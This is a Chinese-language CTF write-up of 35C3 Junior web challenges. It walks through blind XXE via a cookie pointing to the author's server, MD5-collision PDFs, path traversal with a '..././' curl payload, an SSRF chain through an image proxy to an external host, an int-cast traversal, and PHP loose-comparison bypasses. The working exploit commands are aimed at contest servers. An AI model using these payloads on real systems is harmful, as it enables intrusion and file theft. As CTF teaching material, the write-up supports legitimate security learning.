35C3 Junior CTF web writeup By Saferman

Saferman / 2019-01-02 08:15:00 / 浏览数 3422 安全技术 CTF 顶(0) 踩(0)

在这个月圣诞节和元旦节之间参加了这个比赛，这个比赛有二个 https://35c3ctf.ccc.ac 是难度较高的，还有一个是 https://junior.35c3ctf.ccc.ac/ 中等难度的。中等难度的题目总体来讲还是很符合Junior水平的 :-)。题目整体来讲都不难，只有一二道题花了较多时间，现在将自己的解题思路总结出来。

Blind

这题打开就是一个显示源码的页面，PHP如下：

```
<?php
function __autoload($cls) {
   include $cls;
}

class Black {
   public function __construct($string, $default, $keyword, $store) {
       if ($string) ini_set("highlight.string", "#0d0d0d");
       if ($default) ini_set("highlight.default", "#0d0d0d");
       if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

       if ($store) {
           setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
       }
   }
}

class Green {
   public function __construct($string, $default, $keyword, $store) {
       if ($string) ini_set("highlight.string", "#00fb00");
       if ($default) ini_set("highlight.default", "#00fb00");
       if ($keyword) ini_set("highlight.keyword", "#00fb00");

       if ($store) {
           setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
       }
   }
}

if ($_=@$_GET['theme']) {
   if (in_array($_, ["Black", "Green"])) {
       if (@class_exists($_)) {
           ($string = @$_GET['string']) || $string = false;
           ($default = @$_GET['default']) || $default = false;
           ($keyword = @$_GET['keyword']) || $keyword = false;

           new $_($string, $default, $keyword, @$_GET['store']);
       }
   }
} else if ($_=@$_COOKIE['theme']) {
   $args = explode('-', $_);
   if (class_exists($args[0])) {
       new $args[0]($args[1], $args[2], $args[3], '');
   }
} else if ($_=@$_GET['info']) {
   phpinfo();
}
```

仔细阅读完代码可以很快的发现Get请求的theme参数毫无价值，因为Cookie是可以伪造的。这里查阅了class_exists的手册发现如果这个函数的参数类不存在会尝试通过__a

查看phpinfo信息发现是7.2.13版本，本地测试了一下发现不能读取根目录的flag，即/flag，审计PHP源码发现这个版本的__autoload参数在处理前会经过字符串过滤，只能

```
/* Verify class name before passing it to __autoload() */
   if (!key && strspn(ZSTR_VAL(name), "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\200\201\202\203\204\205
       zend_string_release(lc_name);
       return NULL;
   }
```

接下来想到可以利用内置类实现攻击，使用如下命令打印PHP 7.2.13全部内置类：

```
var_dump( get_declared_classes());
```

这一步过滤花费了很多时间，最终锁定在一个SimpleXMLElement类上，这里有国内利用这个类进行 blind XXE攻击的案例：https://www.freebuf.com/vuls/154415.html

在自己的服务器上提供xml和dtd文件，使用如下命令访问题目链接：

```
curl -v --cookie 'theme=SimpleXMlElement-http://■■■■■/blind.xml-2-true' 'http://35.207.108.241'
```

利用 blind XXE注入技巧读取/flag文件内容并传送给自己的服务器

collider

这道题题目描述如下：

> Your task is pretty simple: Upload two PDF files. The first should contain the string "NO FLAG!" and the other one "GIVE FLAG!", but both should have the same MD5 hash!

难度不大就是利用MD5 碰撞，比赛期间没找到合适的工具就暂时跳过，赛后才知道可以使用这个工具：

https://github.com/cr-marcstevens/hashclash

命令如下：

```
sh cpc.sh giveflag.pdf noflag.pdf
```

上传这二个文件就可以得到Flag

Logged In

这道题题目描述有点长，但是核心就是去审计server.py

```
@app.route("/api/login", methods=["POST"])
def login():
   print("Logging in?")
   # TODO Send Mail
   json = request.get_json(force=True)
   login = json["email"].strip()
   try:
       userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login))
   except Exception as ex:
       raise Exception("UserDoesNotExist")
   return get_code(name)

def get_code(username):
   db = get_db()
   c = db.cursor()
   userId, = query_db("SELECT id FROM users WHERE name=?", username)
   code = random_code()
   c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code))
   db.commit()
   # TODO: Send the code as E-Mail instead :)
   return code

@app.route("/api/verify", methods=["POST"])
def verify():
   code = request.get_json(force=True)["code"].strip()
   if not code:
       raise Exception("CouldNotVerifyCode")
   userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code)
   db = get_db()
   c = db.cursor()
   c.execute("DELETE FROM userCodes WHERE userId=?", (userid,))
   token = random_code(32)
   c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token))
   db.commit()
   name, = query_db("SELECT name FROM users WHERE id=?", (userid,))
   resp = make_response()
   resp.set_cookie("token", token, max_age=2 ** 31 - 1)
```

```
   resp.set_cookie("name", name, max_age=2 ** 31 - 1)
   resp.set_cookie("logged_in", LOGGED_IN)
   return resp
```

从上述流程可以看到要想得到flag必须通过POST请求去访问/api/verify，并且需要携带正确的code参数

code在/api/login中可以获得，但是它的SQL查询语句很奇怪：

```
SELECT id, name, email FROM users WHERE email=? OR name=?
```

只要提交的email符合一个邮箱或者用户名都可以让查询成功，所以我就大胆爆破用户名

然后发现admin可以，直接得到code，然后POST提交得到flag：`35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS`

McDonald

题目描述如下：

> Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores..
>
> http://35.207.91.38

使用 dirsearch 进行目录爆破发现：

```
/backup/.DS_Store
```

利用这个项目解析.DS_Store内容：https://github.com/lijiejie/ds_store_exp

可以发现flag的位置：http://35.207.91.38/backup/b/a/c/flag.txt ，访问得到

```
35c3_Appl3s_H1dden_F1l3s
```

Flags

题目描述如下：

> Fun with flags: http://35.207.169.47
>
> Flag is at /flag

页面显示出源码如下：

```
<?php
 highlight_file(__FILE__);
 $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
 $lang = explode(',', $lang)[0];
 $lang = str_replace('../', '', $lang);
 $c = file_get_contents("flags/$lang");
 if (!$c) $c = file_get_contents("flags/ot");
 echo '<img src="' . base64_encode($c) . '">';
```

可以看到是个LFI漏洞，但是使用了替换../为空的方法处理$lang变量，这是非常不安全的过滤手段！

利用方式很简单：

```
curl -H 'Accept-Language: ..././..././..././..././..././..././flag' http://35.207.169.47/
```

网页源码显示为

```
<img src="">
```

base64解码得到：

```
35c3_this_flag_is_the_be5t_fl4g
```

localhost

题目描述写了一大堆，但是题目给了源码，我们查看分析：

```
@app.after_request
def secure(response: Response):
   if not request.path[-3:] in ["jpg", "png", "gif"]:
       response.headers["X-Frame-Options"] = "SAMEORIGIN"
```

```
        response.headers["X-Xss-Protection"] = "1; mode=block"
        response.headers["X-Content-Type-Options"] = "nosniff"
        response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';"
        response.headers["Referrer-Policy"] = "no-referrer-when-downgrade"
        response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \
                                             "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \
                                             "fullscreen *; payment 'self'; "
        if request.remote_addr == "127.0.0.1":
            response.headers["X-Localhost-Token"] = LOCALHOST

    return response
```

flag 应该是就是 X-Localhost-Token，但是需要localhost才能访问，于是我们继续审计源码发现

```
# Proxy images to avoid tainted canvases when thumbnailing.
@app.route("/api/proxyimage", methods=["GET"])
def proxyimage():
    url = request.args.get("url", '')
    parsed = parse.urlparse(url, "http")  # type: parse.ParseResult
    if not parsed.netloc:
        parsed = parsed._replace(netloc=request.host)  # type: parse.ParseResult
    url = parsed.geturl()

    resp = requests.get(url)
    if not resp.headers["Content-Type"].startswith("image/"):
        raise Exception("Not a valid image")

    # See https://stackoverflow.com/a/36601467/1345238
    excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
    headers = [(name, value) for (name, value) in resp.raw.headers.items()
               if name.lower() not in excluded_headers]

    response = Response(resp.content, resp.status_code, headers)
    return response
```

这是一个通过自定义代理，访问图像的功能。如果我们可以设置代理通过服务器本身去访问一个图像，那么我们就可以得到包含Token的响应。这里对图像的判断也很简单，

在自己的服务器上编写一个返回Content-Type为image/2333的HTTP服务器即可，然后利用如下脚本得到flag：

```
# - * -coding: utf - 8 - * -
import requests
url = "http://35.207.189.79/api/proxyimage?url=http://127.0.0.1:8075/api/proxyimage?url=http://■■■■■■/""
r=requests.get(url)
print r.headers["X-Localhost-Token"]
```

```
35C3_THIS_HOST_IS_YOUR_HOST_THIS_HOST_IS_LOCAL_HOST
```

Note(e) accessible

打开上述链接，查看HTML源码，发现src文件夹有源码可以下载

审计源码发现flag在/admin路径下，但是只能从localhost访问，于是开启Seay审计系统审计源码发现view.php有一个file_get_content：

```
echo file_get_contents($BACKEND . "get/" . $id);
```

检查这个id是否可有控，发现其过滤函数只是判断 `"./pws/" . (int) $id . ".pw"`是否存在，我们知道php的int函数特性：在对字符串处理的时候只得到字符串前面的数字部分，不管后面自己字符串的内容。因此我们可以这样利用：

```
http://35.207.120.163/view.php?id=3761012476392169467/../../admin&pw=45353ac5e4d20a3d440d55ff00844e2f
```

就可以从localhost访问/admin文件的内容，得到flag。

saltfish

访问链接：http://35.207.89.211/

```
<?php
 require_once('flag.php');
 if ($_ = @$_GET['pass']) {
   $ua = $_SERVER['HTTP_USER_AGENT'];
   if (md5($_) + $_[0] == md5($ua)) {
```

```
    if ($_[0] == md5($_[0] . $flag)[0]) {
      echo $flag;
    }
  }
} else {
  highlight_file(__FILE__);
}
```

pass 参数和 http_user_agent 可控，有二个条件需要绕过

第一个是pass参数的md5加上pass第一个字符等于use_agent的md5：利用php的"+"操作符特性，会将二边的字符串都转换为int，并且转换的大小对于字符串前缀数字

第二是 pass的第一个字符等于该字符连上flag的MD5后的第一个字符--既然只有一个字符，我们可以直接暴力破解变量全部的ASCII字符

最终得到POC，得到flag：`35c3_password_saltf1sh_30_seconds_max`

```
curl -A "b" "http://35.207.89.211/?pass=b"
```


上一篇：arm32-pwn从环境搭建到实战 下一篇：arm32-pwn从环境搭建到实战

1. 0 条回复
   - 动动手指，沙发就是你的了！